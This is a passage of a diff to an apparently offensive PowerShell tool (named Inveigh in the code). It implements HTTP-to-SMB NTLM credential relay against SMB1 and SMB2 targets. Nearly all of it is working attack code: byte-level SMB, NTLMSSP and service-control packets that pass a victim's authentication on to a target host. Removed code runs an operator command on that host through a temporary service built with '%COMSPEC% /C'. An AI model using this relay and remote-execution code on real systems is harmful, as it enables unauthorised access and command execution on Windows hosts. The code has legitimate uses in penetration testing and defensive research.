$packet_SCMOpenSCManagerW + } + + function Get-PacketSCMCreateServiceW() + { + param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, + [Byte[]]$packet_command,[Byte[]]$packet_command_length) + + $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $packet_referent_ID += 0x00,0x00 + + $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $packet_SCMCreateServiceW + } + + function Get-PacketSCMStartServiceW() + { + param([Byte[]]$packet_context_handle) + + $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle) + $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + return $packet_SCMStartServiceW + } + + function Get-PacketSCMDeleteServiceW() + { + param([Byte[]]$packet_context_handle) + + $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCMDeleteServiceW + } + + function Get-PacketSCMCloseServiceHandle() + { + param([Byte[]]$packet_context_handle) + + $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle) + + return $packet_SCM_CloseServiceW + } + +} + +# SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge $SMB_NTLM_functions_scriptblock = { function SMBNTLMChallenge @@ -485,103 +1547,125 @@ $SMB_relay_challenge_scriptblock = { function SMBRelayChallenge { - param ($SMB_relay_socket,$HTTP_request_bytes) + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version) - if ($SMB_relay_socket) + if($SMB_relay_socket) { $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream() } - $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024 - $i = 0 + $SMB_client_receive = New-Object System.Byte[] 1024 + $SMB_client_stage = 'NegotiateSMB' - :SMB_relay_challenge_loop while ($i -lt 2) + :SMB_relay_challenge_loop while($SMB_client_stage -ne 'exit') { - switch ($i) + switch ($SMB_client_stage) { - 0 + 'NegotiateSMB' { - $SMB_relay_challenge_send = 0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00, - 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - 0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d, - 0x20,0x30,0x2e,0x31,0x32,0x00 - } - - 1 - { - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 32) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 22) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.Length + 2) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.Length) - $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 34)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 45)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 104)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - [Array]::Reverse($SMB_netbios_length) - - $SMB_relay_challenge_send = 0x00,0x00 + - $SMB_netbios_length + - 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - 0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00, - 0x01,0x00,0x00,0x00,0x00,0x00 + - $SMB_blob_length + - 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + - $SMB_byte_count + - 0x60 + - $SMB_length_1 + - 0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0 + - $SMB_length_2 + - 0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01, - 0x82,0x37,0x02,0x02,0x0a,0xa2 + - $SMB_length_3 + - 0x04 + - $SMB_NTLMSSP_length + - $HTTP_request_bytes + - 0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00 - } - - } + $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_relay_challenge_stream.Write($SMB_relay_challenge_send,0,$SMB_relay_challenge_send.Length) - $SMB_relay_challenge_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_challenge_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_challenge_stream.DataAvailable) - { - - if($SMB_relay_challenge_stopwatch.Elapsed -ge $SMB_relay_challenge_timeout) + if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break SMB_relay_challenge_loop + $SMB_version = 'SMB1' + $SMB_client_stage = 'NTLMSSPNegotiate' } + else + { + $SMB_client_stage = 'NegotiateSMB2' + } + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03')) + { + $inveigh.console_queue.Add("SMB relay disabled due to SMB signing requirement on $Target") + $SMB_relay_socket.Close() + $SMB_client_receive = $null + $inveigh.SMB_relay = $false + $SMB_client_stage = 'exit' + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay disabled due to SMB signing requirement on $Target") + } + + } + + } + 'NegotiateSMB2' + { + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $SMB2_message_ID = 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'NTLMSSPNegotiate' + } + + 'NTLMSSPNegotiate' + { + + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes 0x00,0x00 + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $SMB2_message_ID += 1 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate 0x07,0x82,0x08,0xa2 $HTTP_request_bytes[($HTTP_request_bytes.Length-8)..($HTTP_request_bytes.Length)] + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $SMB_relay_challenge_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null + $SMB_relay_challenge_stream.Flush() + $SMB_relay_challenge_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $SMB_client_stage = 'exit' } } - - $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes,0,$SMB_relay_challenge_bytes.Length) - $i++ + } - - return $SMB_relay_challenge_bytes + + return $SMB_client_receive } } @@ -591,937 +1675,2181 @@ $SMB_relay_response_scriptblock = { function SMBRelayResponse { - param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID) + param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_version,$SMB_user_ID,$SMB_session_ID) - $SMB_relay_response_bytes = New-Object System.Byte[] 1024 + $SMB_client_receive = New-Object System.Byte[] 1024 - if ($SMB_relay_socket) + if($SMB_relay_socket) { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() } - $SMB_length_1 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 12)) - $SMB_length_1 = $SMB_length_1 -replace "-00-00","" - $SMB_length_1 = $SMB_length_1.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_length_2 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 8)) - $SMB_length_2 = $SMB_length_2 -replace "-00-00","" - $SMB_length_2 = $SMB_length_2.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_length_3 = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 4)) - $SMB_length_3 = $SMB_length_3 -replace "-00-00","" - $SMB_length_3 = $SMB_length_3.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_NTLMSSP_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length)) - $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" - $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_blob_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 16)) - $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_byte_count = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 27)) - $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_netbios_length = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_request_bytes.Length + 86)) - $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - [Array]::Reverse($SMB_length_1) - [Array]::Reverse($SMB_length_2) - [Array]::Reverse($SMB_length_3) - [Array]::Reverse($SMB_NTLMSSP_length) - [Array]::Reverse($SMB_netbios_length) - $j = 0 - - :SMB_relay_response_loop while ($j -lt 1) + if($SMB_version -eq 'SMB1') { - $SMB_relay_response_send = 0x00,0x00 + - $SMB_netbios_length + - 0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00, - 0x00,0x00 + - $SMB_blob_length + - 0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80 + - $SMB_byte_count + - 0xa1,0x82 + - $SMB_length_1 + - 0x30,0x82 + - $SMB_length_2 + - 0xa2,0x82 + - $SMB_length_3 + - 0x04,0x82 + - $SMB_NTLMSSP_length + - $HTTP_request_bytes + - 0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00 - - $SMB_relay_response_stream.Write($SMB_relay_response_send,0,$SMB_relay_response_send.Length) - $SMB_relay_response_stream.Flush() - - if($SMBRelayNetworkTimeout) - { - $SMB_relay_response_timeout = New-Timespan -Seconds $SMBRelayNetworkTimeout - $SMB_relay_response_stopwatch = [Sustem.Diagnostics.Stopwatch]::StartNew() - - while(!$SMB_relay_response_stream.DataAvailable) - { - - if($SMB_relay_response_stopwatch.Elapsed -ge $SMB_relay_response_timeout) - { - $inveigh.console_queue.Add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - break :SMB_relay_response_loop - } - - } - - } - - $SMB_relay_response_stream.Read($SMB_relay_response_bytes,0,$SMB_relay_response_bytes.Length) - $inveigh.SMB_relay_active_step = 2 - $j++ - } - - return $SMB_relay_response_bytes - } - -} - -# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session -$SMB_relay_execute_scriptblock = -{ - function SMBRelayExecute - { - param ($SMB_relay_socket,$SMB_user_ID) - - if ($SMB_relay_socket) - { - $SMB_relay_execute_stream = $SMB_relay_socket.GetStream() - } - - $SMB_relay_failed = $false - $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-",(1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) - $SMB_service = $SMB_service_random -replace "-00","" - $SMB_service = $SMB_service.Substring(0,$SMB_service.Length - 1) - $SMB_service = $SMB_service.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) - $SMB_service_random += '00-00-00' - [Byte[]] $SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object{$SMB_relay_command += "{0:X2}-00-" -f $_} - - if([Bool]($SMBRelayCommand.Length % 2)) - { - $SMB_relay_command += '00-00' + $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x01,0x48 0xff,0xff $inveigh.process_ID_bytes $SMB_user_ID + $packet_SMB_header["SMBHeader_UserID"] = $SMB_user_ID + $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_auth + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { - $SMB_relay_command += '00-00-00-00' - } - - [Byte[]] $SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $SMB_service_data_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 237) - $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] - $SMB_service_byte_count_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length + $SMB_service_bytes.Length + 174) - $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1] - $SMB_relay_command_length_bytes = [System.BitConverter]::GetBytes($SMB_relay_command_bytes.Length / 2) - $k = 0 + $SMB2_message_ID = 3 + $SMB2_tree_ID = 0x00,0x00,0x00,0x00 + $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID + $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $HTTP_request_bytes + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } - :SMB_relay_execute_loop while ($k -lt 12) + $SMB_relay_response_stream.Write($SMB_client_send,0,$SMB_client_send.Length) + $SMB_relay_response_stream.Flush() + $SMB_relay_response_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) + + if(($SMB_version -eq 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[9..12]) -eq '00-00-00-00') -or ($SMB_version -ne 'SMB1' -and [System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00')) + { + $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + } + else + { + $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") + $SMB_relay_failed = $true + $SMB_relay_socket.Close() + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $Target") + } + + } + + if(!$SMB_relay_failed) { - switch ($k) + if(!$Service) { - - 0 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00, - 0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0xff,0xff + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00, - 0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31,0x30,0x2e,0x32,0x2e,0x31,0x30, - 0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00 - } - - 1 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00, - 0x18,0x02,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08, - 0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 - } - - 2 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00,0x00,0x00,0x48,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00, - 0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0, - 0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00, - 0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38, - 0x00,0x10,0x03,0x02,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c, - 0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60,0x02,0x00,0x00, - 0x00 - - $SMB_multiplex_id = 0x05 - } - - 3 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 4 - { - $SMB_relay_execute_send = 0x00,0x00,0x00,0x9b,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00, - 0x18,0x05,0x28,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x06,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00,0x50,0x00,0x00,0x00,0x5c,0x00,0x3f, - 0x00,0x00,0x00,0x00,0x00,0x5c,0x00,0x05,0x00,0x00,0x03,0x10,0x00, - 0x00,0x00,0x5c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x38,0x00,0x00, - 0x00,0x00,0x00,0x0f,0x00,0x00,0x00,0x03,0x00,0x15,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x15,0x00,0x00,0x00 + - $SMB_service_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x00,0x0f,0x00 - - $SMB_multiplex_id = 0x07 - } - - 5 - { - $SMB_relay_execute_send = $SMB_relay_execute_ReadAndRequest - } - - 6 - { - $SMB_relay_execute_send = [Array] 0x00 + - $SMB_service_data_length_bytes + - 0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08 + - $inveigh.process_ID_bytes + - $SMB_user_ID + - 0x08,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00, - 0xff,0xff,0xff,0xff,0x08,0x00 + - $SMB_service_byte_count_bytes + - 0x00,0x00 + - $SMB_service_byte_count_bytes + - 0x3f,0x00,0x00,0x00,0x00,0x00 + - $SMB_service_byte_count_bytes + - 